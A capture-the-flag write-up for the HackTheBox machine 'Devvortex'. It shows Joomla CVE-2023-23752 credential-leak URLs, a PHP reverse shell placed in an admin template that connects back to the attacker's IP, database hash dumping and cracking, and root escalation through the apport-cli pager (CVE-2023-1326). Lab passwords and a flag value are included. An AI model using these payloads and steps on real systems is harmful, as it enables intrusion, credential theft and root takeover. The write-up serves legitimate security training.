Devvortex - Writeup

by ScriptKidding



Enumeration

As always, an nmap scan first

```
|_http-title: DevVortex
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Service detection performed. Please report any incorrect results at

https://nmap.org/submit/ .

# Nmap done at Wed Dec 13 11:01:07 2023 -- 1 IP address (1 host up) scanned in 8.03

seconds
```

So port 22 and 80 are open, but paying attention to 22 is a big waste of time, high chance the web service is vulnerable instead, so destroy it instead.



After messing around with the web interface, using nikto to scan it, as well as enumerating directories and files with <code>gobuster</code>, nothing special was found. So i was thinking to myself, maybe by any chance there is a hidden subdomain?

Therefore, i used wfuzz to do some subdomain discovery

```
wfuzz -c -w $HOME/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --sc 200 -
H "Host: FUZZ.devvortex.htb" -u http://devvortex.htb -t 100
```

and the following result reveals that dev.devvortex.htb exists


000000019: 200 501 L 1581 W 23221 Ch "dev"

Total time: 0

Processed Requests: 19966 Filtered Requests: 19965

Requests/sec.: 0

Accessing http://dev.devvortex.htb reveals the following page




As always, i tried to enumerate it a bit through various methods and i found an administrator page at http://dev.devvortex.htb/administrator through the following gobuster results

```
(Status: 403) [Size: 162]
/.git
/.html
                       (Status: 403) [Size: 162]
/.js
                       (Status: 403) [Size: 162]
/.log
                       (Status: 403) [Size: 162]
                       (Status: 403) [Size: 162]
/.htm
/.json
                       (Status: 403) [Size: 162]
                       (Status: 403) [Size: 162]
/.c
                       (Status: 403) [Size: 162]
/.jsx
                      (Status: 403) [Size: 162]
/.py
/.txt
                       (Status: 403) [Size: 162]
                       (Status: 403) [Size: 162]
/.bak
/.css
                       (Status: 403) [Size: 162]
/.asp
                       (Status: 403) [Size: 162]
                       (Status: 301) [Size: 178] [-->
/images
http://dev.devvortex.htb/images/]
/index.php
                      (Status: 200) [Size: 23221]
/home
                       (Status: 200) [Size: 23221]
/media
                       (Status: 301) [Size: 178] [-->
http://dev.devvortex.htb/media/]
/templates
                       (Status: 301) [Size: 178] [-->
http://dev.devvortex.htb/templates/]
```

```
/modules
                      (Status: 301) [Size: 178] [-->
http://dev.devvortex.htb/modules/]
                      (Status: 301) [Size: 178] [-->
http://dev.devvortex.htb/plugins/]
/includes
                      (Status: 301) [Size: 178] [-->
http://dev.devvortex.htb/includes/]
/language
                      (Status: 301) [Size: 178] [-->
http://dev.devvortex.htb/language/]
                      (Status: 200) [Size: 4942]
/README.txt
/components
                      (Status: 301) [Size: 178] [-->
http://dev.devvortex.htb/components/]
                      (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/api/]
/api
                      (Status: 301) [Size: 178] [-->
/cache
http://dev.devvortex.htb/cache/]
/libraries
                      (Status: 301) [Size: 178] [-->
http://dev.devvortex.htb/libraries/]
                      (Status: 200) [Size: 764]
/robots.txt
                      (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/tmp/]
/tmp
                      (Status: 200) [Size: 18092]
/LICENSE.txt
                      (Status: 301) [Size: 178] [-->
/layouts
http://dev.devvortex.htb/layouts/]
/administrator
                      (Status: 301) [Size: 178] [-->
http://dev.devvortex.htb/administrator/]
                     (Status: 200) [Size: 0]
/configuration.php
```

The CMS page



FootHold

Apparently, http://dev.devvortex.htb/README.txt reveals that the version of Joomla being used is 4.2. So a did a bit enumeration on that version and oh booiizzz... i found this juicy link explaining a common vulnerability (CVE-2023-23752) that the majority of Joomla version from 4.0.0 to 4.2.7 suffers from.

By visiting the following link, we can leak the login credentials of the page


- http://dev.devvortex.htb/api/index.php/v1/config/application?public=true (Leak passwords)
- http://dev.devvortex.htb/api/index.php/v1/users?public=true (Leak usernames)

So there are two users, lewis and logan

```
id:
                     649
                      "lewis"
    name:
    username:
                     "lewis"
    email:
                     "lewis@devvortex.htb"
    block:
    sendEmail:
    registerDate:
                     "2023-09-25 16:44:24"
    lastvisitDate:
                     "2023-12-16 06:16:11"
    lastResetTime:
                     null
    resetCount:
                     0
    group_count:
    group_names:
                      "Super Users"
                      "users"
  type:
                      "650"
  id:
▼ attributes:
    id:
                     650
                      "logan paul"
    name:
                      "logan"
    username:
```


and there is a leaked password with the content of P4ntherg0t1n5r3c0n##

After trying it with logan, the password doesn't seem to work, but trying it with lewis worked instead



So there are many valuable pieces of information here, such as PHP version 7.x but since this is an Easy box, don't overthink it. Now since I never used Joomla before, I did a bit of searching online on how this works, what it is, and whether I can inject any arbitrary code or not... Based on the result I found on Google, there is a chance I can inject PHP code and use it to spawn a reverse shell through editing or adding a template.


So i navigated to System which is where the templates are hosted...




You can see the Administrator Templates as well as Site Template. If we manage to edit an existing PHP template or add a custom PHP shell into either of those folders, it's good to go...

Exploitation

Everything is good so far but it doesn't seem like we have permission to edit/add file in the Site Template one.



So i tried to add a new template called shell.php into the Administrator Templates instead.



And added a PHP reverse shell script then named the file shell.php

```
<?php
system('bash -c "bash -i >& /dev/tcp/10.10.14.17/1337 0>&1"');
?>```
![[Pasted image 20231216150215.png]]
Save it back and according to what it is saying, there is a very high chance of it being located at `http://dev.devvortex.htb/administrator/templates/atum/shell.php`.
So after i spawn a local `nc` listener on my attacking machine
```bash
nc -lvvp 1337
```

I simply opened the previous said link on the browser and a reverse shell was established

```
istening on 0.0.0.0 1337
Connection received on dev.devvortex.htb 55120
Dash: cannot set terminal process group (873): Inappropriate ioctl for device Dash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/administrator/templates/atum$ whoami
whoami
www-data
www-data
```

Now the following step is optional but feel free to upgrade this dumbass shell to a fully interactive one. First check does this box have python or not

```
python --version
python3 --version # <--- this worked</pre>
```

#### So python3 it is!

After running reset provide the value which was previously collected from echo \$TERM which in my case is xterm-256color

then set the appropriate size of the terminal which can be obtained from the output of stty -a, pay attention to the columns and rows only, in my case it was 213 ad 46

```
stty rows 46 columns 213
```

Now you're in creative mode, you can use nano, vim, su, less, etc without worrying about breaking the pipe.

```
www-data@devvortex:~/dev.devvortex.htb/administrator/templates/atum$ ls
component.php cpanel.php error.php error_full.php error_login.php html index.ph
www-data@devvortex:~/dev.devvortex.htb/administrator/templates/atum$ ping localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.035 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.043 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.043 ms
^C
--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2031ms
rtt min/avg/max/mdev = 0.035/0.040/0.043/0.003 ms
www-data@devvortex:~/dev.devvortex.htb/administrator/templates/atum$ []
```

### **Privilege escalation**

So far we are currently www-data and there is another user called logan at /home/logan, the directory is accessible but the flag is not readable

```
vww-data@devvortex:~/dev.devvortex.htb/administrator/templates/atum$ cd /home/logan/
vww-data@devvortex:/home/logan$ cat user.txt
cat: user.txt: Permission denied
vww-data@devvortex:/home/logan$
```

So either we have to escalate to logan first or if this is a troll box, we can straight up escalate to root (but i doubt it)

So after running a bunch of exploits and overthinking, i tried to run netstat -tulpn to see if there is any local service running...

```
www-data@devvortex:/home/logan$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
 Foreign Address
Proto Recv-Q Send-Q Local Address
 State
 PID/Program name
 0 127.0.0.1:33060
 0.0.0.0:*
 LISTEN
tcp
 0 127.0.0.1:3306
0 0.0.0.0:80
 0.0.0.0:*
 LISTEN
tcp
 0.0.0.0:*
 LISTEN
 889/nginx: worker p
tcp
 0 127.0.0.53:53
 0.0.0.0:*
 LISTEN
tcp
 0 0.0.0.0:22
 0.0.0.0:*
 LISTEN
tcp
tcp6
 LISTEN
 889/nqinx: worker p
tсрб
 LISTEN
udp
 0 127.0.0.53:53
 0.0.0.0:*
 0 0.0.0.0:68
 0.0.0.0:*
ww-data@devvortex:/home/logan$
```

And there it is, port 3306 seems like a MySQL port, so i tried to login to the local mysql server using the credentials of lewis:P4ntherg0tln5r3c0n## and grab the hash of user logan

```
www-data@devvortex:/home/logan$ mysql -u lewis -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5533
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.

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Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

Not sure which table is used for storing user's information but sd4fg\_users seems like it, based on the schema it has

```
nysql> describe sd4fg_users;
 Field | Type | Null | Key | Default | Extra
 id
 | NO | PRI | NULL | auto_increment
 | varchar(400) | NO | MUL |
name | varchar(400) | NO | MUL |
username | varchar(150) | NO | UNI |
email | varchar(100) | NO | MUL |
 name
 email
 | varchar(100) | NO | MUL |
password | varchar(100) | NO |
 | tinyint | NO | MUL | 0
 block
 sendEmail | tinyint
registerDate | datetime | NO |
YES |
 activation | varchar(100) | NO |
 lastResetTime | datetime | YES |
resetCount | int
otpKey | varchar(1000) | NO
otep | varchar(1000) | NO
 | varchar(1000) | NO
 requireReset | tinyint
 authProvider | varchar(100) | NO
7 rows in set (0.00 sec)
ysql>
```

And the hash of logan is \$2y\$10\$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12.

Now try to run that hash through johntheripper or hashcat

```
echo '$2y$10$IT4k5kmSGvHS09d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > /tmp/loganhash
john --wordlist=~/SecLists/Passwords/rockyou.txt --format=bcrypt /tmp/loganhash
```

And after awhile, it turns out that the password of user logan is tequieromucho

```
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:04 DONE (2023-12-16 13:33) 0.2262g/s 317.6p/s 317.6c/s 317.6C/s
winston..harry
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

```
www-data@devvortex:/home/logan$ su logan
Password:
logan@devvortex:~$ cat user.txt
1c7abd89571cd9bfda05ca17bbab1022
logan@devvortex:~$
```

Now for the root part, usually what i do is run sudo -1 to see which script/program can this user run as, and whether they can run it as root. And since this is an Easy box, it straight up gives a clue

```
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
 env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap
/bin

User logan may run the following commands on devvortex:
 (ALL: ALL) /usr/bin/apport-cli
logan@devvortex:~$
```

Ok so as logan we can run /usr/bin/apport-cli as root by simply sudo /usr/bin/apport-cli. But so far running it barely doesn't prove to be useful.

```
logan@devvortex:~$ sudo /usr/bin/apport-cli
No pending crash reports. Try --help for more information.
logan@devvortex:~$
```

But again i am not a god lol... i don't know all existing packages and commands so i have no idea what the hell this does too. But a bit Googling and ChatGPT-ing, it turns out that this is used to report crashes from processes, it saves logs into .crash files and we can view them later. Additionally, i found out that version 2.26.0 of this tool suffers from CVE-2023-1326, which means there is a high chance the current version in this box is suffering from too...

```
logan@devvortex:~$ sudo /usr/bin/apport-cli -v
2.20.11
logan@devvortex:~$
```

So according to the CVE, if we run

```
sudo /usr/bin/apport-cli -c <some crash file>
```

then enter "V" for viewing and try to input the shebang line to a shell like !/bin/bash it will spawn a shell as whoever user is running that command (root in this case)

so according to the <u>docs</u>, we can find some crash files in <u>/var/crash</u>. But it's empty in this box, so i tried to create a <u>dummy .crash</u> file instead and call it <u>tmp/dummy.crash</u>. Then I tried the command from above

```
logan@devvortex:~$ sudo /usr/bin/apport-cli -c /tmp/dummy.crash

*** Error: Invalid problem report

This problem report is damaged and cannot be processed.

ValueError('Report does not contain "ProblemType" field')

Press any key to continue...

logan@devvortex:~$ ■
```

But it seems like the crash file has to have the correct format in order for it to work, so i followed the error by simply adding ProblemType: Bug to the file and try again

```
logan@devvortex:~$ echo "ProblemType: Bug" > /tmp/dummy.crash
logan@devvortex:~$ sudo /usr/bin/apport-cli -c /tmp/dummy.crash

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the automatically opened web browser.

What would you like to do? Your options are:
 S: Send report (0.0 KB)
 V: View report
 K: Keep report file for sending later or copying to somewhere else
 I: Cancel and ignore future crashes of this program version
 C: Cancel

Please choose (S/V/K/I/C): ■
```

and it worked! Ok now i tried to follow what i said above, "V" then keep!/bin/bash

```
K: Keep report file for sending later or copying to somewhere else I: Cancel and ignore future crashes of this program version C: Cancel Please choose (S/V/K/I/C): V WARNING: terminal is not fully functional - (press RETURN)!//bbiinn//bbaasshh!/bin/bash root@devvortex:/home/logan#
```

And BOOM! we have rooted the box.